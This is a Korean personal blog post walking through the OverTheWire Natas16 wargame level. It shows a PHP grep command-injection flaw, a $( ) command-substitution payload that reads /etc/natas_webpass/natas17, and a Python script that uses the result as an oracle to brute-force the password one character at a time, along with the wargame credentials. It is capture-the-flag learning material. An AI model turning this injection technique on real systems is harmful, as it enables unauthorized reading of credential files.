메뉴 건너뛰기

노루발의 개인 게시판

Natas10의 재탕이다. 하지만 필터링을 좀 더 빡세게 한다:


if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}


;, | , " 등의 문자들도 모두 막아놓고, 검색값을 따옴표로 둘러싸서 이전 문제와 동일한 방법으로 패스워드를 알아낼 수는 없다.

하지만 $문자를 필터링하지 않아 쉘 명령어 치환을 사용할 수 있다:


https://jupiny.com/2017/07/10/shell-script-basic-2/


예를 들어 /etc/natas_webpass/natas17 이라는 파일이 있다고 가정하면 아래 쉘 명령어를 실행하면:

echo aa$(cat /etc/natas_webpass/natas17)

aa(natas17.txt의 내용)이 출력된다.


하지만 입력값이 grep의 따옴표 안에 들어있으므로 저렇게 cat 명령어로 가져올 수는 없다.

방법이 없을까 생각하다 다음과 같은 방식을 생각해냈다:


우선 natas17의 내용이 임의의 32자리의 패스워드(예: andenwasdew234msasfsxcze322sd09m) 라고 가정하자.

그리고 a로 시작하는 단어가 파일에 있다면 출력하는 grep 명령어를 삽입하자:

echo apple$(grep ^a /etc/natas_webpass/natas17)


/etc/natas_webpass/natas17의 내용이 a로 시작한다면 다음과 같이 출력될 것이다:

appleandenwasdew234msasfsxcze322sd09m

하지만 파일의 내용이 a로 시작하지 않는다면 다음과 같이 출력될 것이다:

apple


즉 패스워드가 a로 시작하지 않으면 검색 결과에 정상적으로 apple, apple's, apples 등의 단어가 출력되겠지만

패스워드가 a로 시작한다면 아무 내용도 출력되지 않을 것이다.


이를 응용하여 Natas15에서 사용한 스크립트를 변형하면 password를 알아낼 수 있다:


import requests

password = ""

chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
for a in range(0, 32) :
    for b, in chars:
        print("Trying " + password + b + " as password...")
        r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=apple%24%28grep+%5E' + password + b + '+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search', auth=('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'))
        if not "apple" in r.text:
            password = password + b
            break


마지막으로 다음 요청을 form에 전송하여 획득한 password가 맞는지 확인할 수 있다:

apple$(grep 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw /etc/natas_webpass/natas17)

아무것도 표시되지 않으면 올바른 password, apple, apples 등의 단어가 표시되면 틀린 패스워드다.

분류 :
망한거
조회 수 :
18
등록일 :
2020.03.12
01:45:24 (*.47.15.90)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818086
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
56 기행 제 68회 유라시아 비즈니스 인사이트 다녀왔습니다. file 노루발 2025-06-26 2
55 오토바이 노루발 오토바이 깔은 이야기 3일차~8일차 file 노루발 2023-10-12 49
54 오토바이 노루발 오토바이 깔은 이야기 1일차+2일차 [2] file 노루발 2023-10-11 98
53 오토바이 노루발 2종 소형 면허 따는 이야기 [4] 노루발 2023-09-21 35
52 기타 Holo house의 미니멀한 농장겜 요소들 노루발 2023-08-31 44
51 기타 부족전쟁 122 서버 아웃라인 secret 노루발 2021-07-25 1
50 오토바이 고속 찐빠 해결 / 윙카&포크부츠 교체 [2] file 노루발 2020-05-31 368
49 오토바이 오토바이 캬브레타 청소 [1] 노루발 2020-05-17 370
48 오토바이 NGK 점화플러그 품번에 따른 특성 [3] file 노루발 2020-05-07 99
47 망한거 (스포일러) Natas24 풀이 노루발 2020-03-19 48
46 망한거 (스포일러) Natas24 풀이 노루발 2020-03-17 19
45 망한거 (스포일러) Natas23 풀이 노루발 2020-03-13 16
44 망한거 (스포일러) Natas22 풀이 노루발 2020-03-13 10
43 망한거 (스포일러) Natas21 풀이 노루발 2020-03-13 13
42 망한거 (스포일러) Natas20 풀이 노루발 2020-03-13 16
41 망한거 (스포일러) Natas19 풀이 노루발 2020-03-13 14
40 망한거 (스포일러) Natas18 풀이 노루발 2020-03-12 9
39 망한거 (스포일러) Natas17 풀이 노루발 2020-03-12 16
» 망한거 (스포일러) Natas16 풀이 노루발 2020-03-12 18
37 망한거 (스포일러) Natas15 풀이 노루발 2020-03-11 21